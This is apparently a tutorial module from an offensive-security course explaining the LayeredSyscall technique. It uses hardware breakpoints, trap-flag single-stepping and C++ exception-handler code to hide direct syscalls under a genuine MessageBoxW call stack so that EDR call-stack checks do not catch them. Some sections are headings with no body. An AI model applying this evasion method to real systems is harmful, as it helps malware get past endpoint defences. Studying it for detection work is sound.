Module 6: Call Stack Construction via Trap Flag

Real call stacks from real API calls — no fabrication, no forgery, just CPU abuse.

The Problem: How to Get a Legitimate Call Stack

EDR products and ETW telemetry examine the call stack at the moment a syscall enters the kernel. A legitimate call stack looks like this:

Call Stackntdll!NtCreateUserProcess + 0x14       <-- syscall here
ntdll!SomeInternalFunction + 0x42
user32!CreateProcessInternalW + 0x1A3
kernel32!CreateProcessW + 0x66
myapp.exe!main + 0x55

But when an offensive tool issues a direct or indirect syscall, the stack looks anomalous:

Anomalous Stackntdll!NtCreateUserProcess + 0x14       <-- syscall here
myapp.exe!wrpNtCreateUserProcess + 0x30  <-- suspicious!
myapp.exe!main + 0x55

The jump from myapp.exe directly to ntdll without intermediate Windows DLL frames is a strong signal of a direct/indirect syscall. EDR vendors are increasingly flagging this pattern.

Phase 2: Syscall Breakpoint Fires

After AddHwBp installs hardware breakpoints and the wrapper calls the real Nt* function, execution proceeds through the ntdll stub until it reaches the syscall instruction. The Dr0 hardware breakpoint fires, generating an EXCEPTION_SINGLE_STEP exception. This is where HandlerHwBp takes over.

C++// Inside HandlerHwBp - Phase 2: Syscall breakpoint
if (ExceptionInfo->ContextRecord->Rip ==
        SyscallEntryAddr + OPCODE_SYSCALL_OFF)
{
    // 1. Disable Dr0 breakpoint (clear bit 0 in Dr7)
    ExceptionInfo->ContextRecord->Dr7 &= ~(1 << 0);

    // 2. Save the ENTIRE CPU context
    //    This preserves all syscall arguments in registers + stack
    memcpy(&SavedContext,
           ExceptionInfo->ContextRecord,
           sizeof(CONTEXT));

    // 3. Redirect execution to the demo function (MessageBoxW)
    ExceptionInfo->ContextRecord->Rip = (ULONG_PTR)demofunction;

    // 4. Enable the Trap Flag for single-step tracing
    ExceptionInfo->ContextRecord->EFlags |= 0x100;

    return EXCEPTION_CONTINUE_EXECUTION;
}

What Each Step Accomplishes

The CPU Trap Flag (TF)

The demofunction() Redirect

After redirection, execution flows through a genuine Windows API call chain. The default demo function is MessageBoxW, which traverses multiple DLL layers before eventually reaching ntdll:

As execution passes through each function, the CPU pushes return addresses and creates stack frames. These are genuine frames because the code is actually executing. By the time execution reaches ntdll, the call stack looks exactly like a legitimate MessageBoxW call chain.

Phase 3: The Three-Condition Algorithm

This is the core of the LayeredSyscall technique. While the trap flag traces through the legitimate API chain, HandlerHwBp monitors every instruction, checking three conditions that must be met before the real syscall can execute.

Waiting for ntdll

Before any conditions are checked, the handler verifies that execution is inside ntdll.dll:

C++// Check if RIP is within ntdll address range
if (ExceptionInfo->ContextRecord->Rip >= NtdllInfo.DllBaseAddress &&
    ExceptionInfo->ContextRecord->Rip <= NtdllInfo.DllEndAddress)
{
    // Inside ntdll - start checking conditions
    // ...
}
else {
    // Not in ntdll yet - re-enable trap flag and continue
    ExceptionInfo->ContextRecord->EFlags |= 0x100;
    return EXCEPTION_CONTINUE_EXECUTION;
}

Until execution enters ntdll, the handler simply re-enables the trap flag (it is auto-cleared by the CPU) and continues. This loops thousands of times as execution traverses user32.dll and other intermediate DLLs.

Condition 1: Find sub rsp, X Where X >= 0x58

C++// Condition 1: Find a function prologue with sufficient stack space
for (int i = 0; i < 80; i++) {
    ULONG_PTR scan = ExceptionInfo->ContextRecord->Rip + i;

    // Check for 'ret' - if we hit ret first, this function is too small
    if (*(BYTE*)scan == 0xC3) {
        IsSubRsp = 0;  // Reset - keep looking
        break;
    }

    // Check for 'sub rsp, imm8' where imm8 >= 0x58
    if ((*(UINT32*)scan & 0x00FFFFFF) == 0xEC8348) {
        BYTE stackSize = *(BYTE*)(scan + 3);
        if (stackSize >= 0x58) {
            IsSubRsp = 1;  // Condition 1 met!
            break;
        }
    }
}

Why 0x58? This is 88 bytes, which provides room for the 4 home space slots (32 bytes) plus 8 additional stack arguments (64 bytes) = 12 arguments total. This is the maximum number of arguments LayeredSyscall supports.

Condition 2: Find a call Instruction

C++// Condition 2: Find a 'call' instruction within the function
if (IsSubRsp == 1) {
    BYTE opcode = *(BYTE*)(ExceptionInfo->ContextRecord->Rip);

    if (opcode == 0xC3) {
        // Hit 'ret' before 'call' - function too shallow, reset
        IsSubRsp = 0;
    }
    else if (opcode == 0xE8) {
        // Found a 'call' instruction!
        IsSubRsp = 2;  // Condition 2 met!
    }
}

Condition 3: Execute (IsSubRsp == 2)

State Machine Diagram

Why These Three Conditions?